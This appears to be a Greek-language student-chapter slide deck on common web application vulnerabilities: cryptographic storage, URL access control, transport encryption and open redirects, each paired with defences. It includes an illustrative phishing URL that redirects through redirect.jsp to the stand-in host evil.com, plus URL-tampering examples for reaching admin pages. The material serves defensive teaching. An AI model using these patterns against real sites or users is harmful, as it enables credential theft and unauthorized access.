Για όλα τα ευαίσθητα δεδομένα για τα οποία χρειάζεται κρυπρογράφηση πρέπει να εφαρμόζονται τουλάχιστον τα παρακάτω: Όλα τα δεδομένα πρέπει να κρυπτογραφούνται με σωστό τρόπο και σε στάδια που να αποτρέπουν τόσο εξωτερικές αλλά και εσωτερικές επιθέσεις. Τα αντίγραφα των δεδομένων μας πρέπει να είναι επίσης σωστά κρυπτογραφημένα, αλλά τα κλειδιά κρυπτογράφησης τους και τα αντίγραφα τους να διαχειρίζονται ξεχωριστά από αυτά. Χρήση ισχυρών αλγορίθμων κρυπτογράφησης και ισχυρών κλειδιών. Χρήση hashing με σωστό τρόπο για την αποθήκευση των κωδικών πρόβασης χρηστών. Έλεγχος πρόβασης για όλα τα κλειδιά και τους κωδικούς. AUTH ACM Student Chapter 37

Οι διαδικτυακές εφαρμογές δεν προστατεύουν πάντα τα αιτήματα σελίδων. Κάποιες φορές τα δικαιώματα καθορίζονται μέσω κάποιων ρυθμίσεων στον server και αυτές δεν έχουν γίνει σωστά, ή κάποιες άλλες φορές οι προγραμματιστές ξεχνούν να βάλουν ρουτίνες για έλεγχο πρόβασης στον κώδικα τους. Ένας κακόβουλος χρήστης που είναι συνδεδεμένος στο σύστημα μπορεί απλά να αλλάξει το URL για να εισέλθει σε μια σελίδα που κανονικά δεν έχει δικαιώματα να προσπελάσει. AUTH ACM Student Chapter 38

Παράδειγμα: Ένας χρήστης του συστήματος μπορεί, αφού συνδεθεί, να πάρει ορισμένες πληροφορίες για την εφαρμογή πηγαίνοντας στη σελίδα: http://example.com/app/getappinfo Αν ένας ανώνυμος χρήστης ξέρει αυτό το URL, το εισάγει στον browser του και καταφέρει να δει τη σελίδα, τότε έχουμε μη εξουσιοδοτημένη πρόσβαση. Επίσης, ένας χρήστης του συστήματος μπορεί να αλλάξει το URL σε: http://example.com/app/admin_getappinfo το οποίο προορίζεται μόνο για τους admins της σελίδας. Αν καταφέρει να προσπελάσει τη σελίδα τότε έχουμε και πάλι μη εξουσιοδοτημένη πρόσβαση. AUTH ACM Student Chapter 39

Η αντιμετώπιση του προβλήματος γίνεται σχεδιάζοντας ένα σύστημα ελέγχου πιστοποίησης και εξουσιοδότητης που εφαρμόζεται για κάθε σελίδα της εφαρμογής. Ασχέτως του μηχανισμού που θα χρησιμοποιηθεί, γίνονται οι παρακάτω προτάσεις: Οι πολιτικές πιστοποίησης και εξουσιοδότησης να στηρίζονται σε ρόλους χρηστών (κάθε χρήστης θα μπορεί να έχει ένα ή παραπάνω ρόλους) ώστε να είναι εύκολη η διαχείριση τους. Οι πολιτικές θα πρέπει να είναι παραμετροποιήσιμες σε υψηλό βαθμό ώστε όλες οι ρυθμίσεις να γίνονται σε αυτές, αποφεύγοντας hard coded κομμάτια τους στον κώδικα μας. Ο μηχανισμός που θα κάνει διαχείριση των παραπάνω θα πρέπει να αρνείται την πρόσβαση by default και να δίνει πρόσβαση βάση συγκεκριμένων κανόνων σε συγκεκριμένους χρήστες (if XX allow; else deny all; και όχι: allow all; unless XX) AUTH ACM Student Chapter 40

Οι διαδικτυακές εφαρμογές συχνά δεν προστατεύουν τη διαδικτυακή τους κίνηση (δεδομένα που μεταφέρονται). Μπορεί να χρησιμοποιούν το πρωτόκολλο SSL/TLS (https) κατά την πιστοποίηση, αλλά όχι σε άλλα σημεία, με αποτέλεσμα κάποιος να καταφέρει να υποκλέψει δεδομένα ή session IDs. Πρόβλημα είναι επίσης η χρήση ορισμένες φορές και πιστοποιητικών τα οποία δεν έχουν ρυθμιστεί σωστά ή έχουν λήξει. AUTH ACM Student Chapter 41

Παράδειγμα 1: Μια ιστοσελίδα δεν χρησιμοποιεί SSL για τις σελίδες που απαιτούν πιστοποίηση. Ένας κακόβουλος χρήστης απλά παρακολουθεί την κίνηση του δικτύου (πχ ανοικτό ασύρματο δίκτυο ή μετά από hacking ) και παρατηρεί-καταγράφει ένα session cookie. Το cookie αυτό το ξαναστέλνει ο ίδιος και καταλαμβάνει το session του θύματος. Παράδειγμα 2: Μια διαδικτυακή εφαρμογή Java χρησιμοποιεί standard JDBC για τη σύνδεση με τη ΒΔ, χωρίς οι υπεύθυνοι να αντιλαμβάνονται ότι όλη η κίνηση μεταφέρεται χωρίς ασφάλεια κρυπτογράφησης. AUTH ACM Student Chapter 42

Ο ευκολότερος τρόπος για να λύσουμε το πρόβλημα της προστασίας σε επίπεδο μεταφοράς είναι να απαιτούμε τη χρήση SSL για ολόκληρη την ιστοσελίδα/εφαρμογή. Βέβαια, για λόγους απόδοσης, κάποιες ιστοσελίδες μπορούν να χρησιμοποιούν SSL μόνο σε private σελίδες, ή μόνο σε «κρίσιμες» σελίδες. Αυτό όμως μπορεί να εκθέτει σε κίνδυνο session IDs και άλλα ευαίσθητα δεδομένα. Πρέπει να εφαρμόζουμε τουλάχιστον τα εξής: Απαίτηση SSL σε όλες τις ευαίσθητες σελίδες. Τα μη-ssl αιτήματα θα πρέπει να ανακατευθύνονται στην αντίστοιχη SSL σελίδα. Να θέτουμε το secure flag (HTTPs) σε όλα τα ευαίσθητα cookies. Τα πιστοποιητικά που χρησιμοποιούμε είναι έγκυρα, δεν έχουν λήξει ή ανακληθεί και λειτουργούν σε όλα τα domains που χρησιμοποιεί η ιστοσελίδα. Οι συνδέσεις με τα συστήματα που τρέχουν στο παρασκήνιο (SQL, LDAP κλπ) πρέπει επίσης να χρησιμοποιούν SSL ή άλλες τεχνολογίες κρυπτογράφησης. AUTH ACM Student Chapter 43

Οι διαδικτυακές εφαρμογές συχνά ανακατευθύνουν τους χρήστες σε άλλες σελίδες ή κάνουν χρήση παρόμοιων τεχνικών προώθησης αιτημάτων εσωτερικά. Μερικές φορές η σελίδα προορισμός καθορίζεται από μια μη ελεγχόμενη παράμετρο, δίνοντας τη δυνατότητα σε κακόβουλους χρήστες να επιλέγουν τη σελίδα προορισμού. Κάποιος κακόβουλος χρήστης κατασκευάζει ένα link το οποίο ανακατευθύνει σε μια σελίδα που ο ίδιος επιλέγει και ξεγελά τα θύματα του ώστε να το πατήσουν. Οι χρήστες είναι πιο πιθανόν να ακολουθήσουν το link καθώς φαίνεται ότι πρόκειται για μια γνωστή σε αυτούς ή (φαινομενικά) ασφαλής ιστοσελίδα (phishing attacks). AUTH ACM Student Chapter 44

Παράδειγμα: Η εφαρμογή μας έχει μια σελίδα που ονομάζεται redirect.jsp η οποία παίρνει μια μοναδική παράμετρο με το όνομα url προς την οποία και ανακατευθύνει. Κάποιος κακόβουλος χρήστης κατασκευάζει ένα URL: http://www.example.com/redirect.jsp?url=evil.com Στέλνει αυτό το link μαζί με ένα μήνυμα σε διάφορους ανυποψίαστους χρήστες οι οποίοι και ακολουθούν το link. Η σελίδα evil.com είναι μια ακριβής αντιγραφή της ιστοσελίδας example.com, όπου τα θύματα εισάγουν τα στοιχεία τους στη ψεύτικη φόρμα σύνδεσης, στέλνοντας τα τελικά στον κακόβουλο χρήστη. AUTH ACM Student Chapter 45

Ασφαλείς ανακατευθύνσεις και προωθήσεις μπορούν να πραγματοποιηθούν με διάφορους τρόπους: Αποφυγή ανακατευθύνσεων και προωθήσεων γενικά. Αποκλεισμός παραμέτρων που δίδονται από το χρήστη για τον καθορισμό του προορισμού. Αν οι παράμετροι προορισμού δεν γίνεται να αποφευχθούν, διασφαλίζουμε ότι είναι έγκυρες και εξουσιοδοτημένες για εκτέλεση από το συγκεκριμένο χρήστη. Προτείνεται αυτές οι παράμετροι να μην είναι καν ένα URL ή τμήμα αυτού, αλλά ένας πχ ακέραιος αριθμός ο οποίος εσωτερικά θα αντιστοιχίζεται σε κάποια συγκεκριμένη σελίδα προορισμό. AUTH ACM Student Chapter 46

Μάθημα #1: Το λογισμικό πάντα θα έχει κάποια bugs και ως αποτέλεσμα αυτών κάποια προβλήματα ασφαλείας. Ο στόχος μας θα πρέπει να είναι να μειώσουμε όσο μπορούμε τον αριθμό τους και τη σοβαρότητα των όσων παραμένουν. Μάθημα #2: Η εκμετάλλευση μίας και μόνο αδυναμίας της διαδικτυακής υπηρεσίας μας είναι ικανή να θέσει εκτός λειτουργίας όλη τη διαδικτυακή παρουσία μας, να προκαλέσει απώλεια ή διαρροή δεδομένων και πολλά άλλα. Όσο πιο σύντομα ανακαλύπτουμε και διορθώνουμε τα κενά ασφαλείας τόσο μικρότερο είναι το χρονικό «παράθυρο» κατά το οποίο είμαστε ευπαθείς. AUTH ACM Student Chapter 47

Μάθημα #3: Η ύπαρξη των αδυναμιών δεν είναι συνώνυμη με την εκμετάλλευση τους. Κάποιος ή κάτι θα πρέπει ενεργά να ασχοληθεί με το πώς θα μπορέσει να προκαλέσει τεχνικά ή οικονομικά προβλήματα, αξιοποιώντας κάποια τεχνική που εκμεταλλεύεται την αδυναμία. Κάθε κακόβουλος χρήστης έχει διαφορετικό σκοπό και κίνητρο. Μάθημα #4: Κάθε στόχος μπορεί να χωριστεί σε στόχο «ευκαιρίας» και στόχο «επιλογής»: Ένας στόχος ευκαιρίας έχει χαμηλότερα πρότυπα ασφαλείας από το μέσο όρο και έτσι η επίθεση εναντίον του αποτελεί «ευκαιρία». Ένας στόχος επιλογής είναι κάποιος που διαθέτει δεδομένα ή πληροφορία με μεγάλη αξία για τον κακόβουλο χρήστη, ο οποίος μεθοδικά θα προχωρήσει σε ανάλυση των αδυναμιών που θα μπορέσει να ανακαλύψει ώστε να τις εκμεταλλευτεί κατάλληλα. AUTH ACM Student Chapter 48

AUTH ACM Student Chapter 49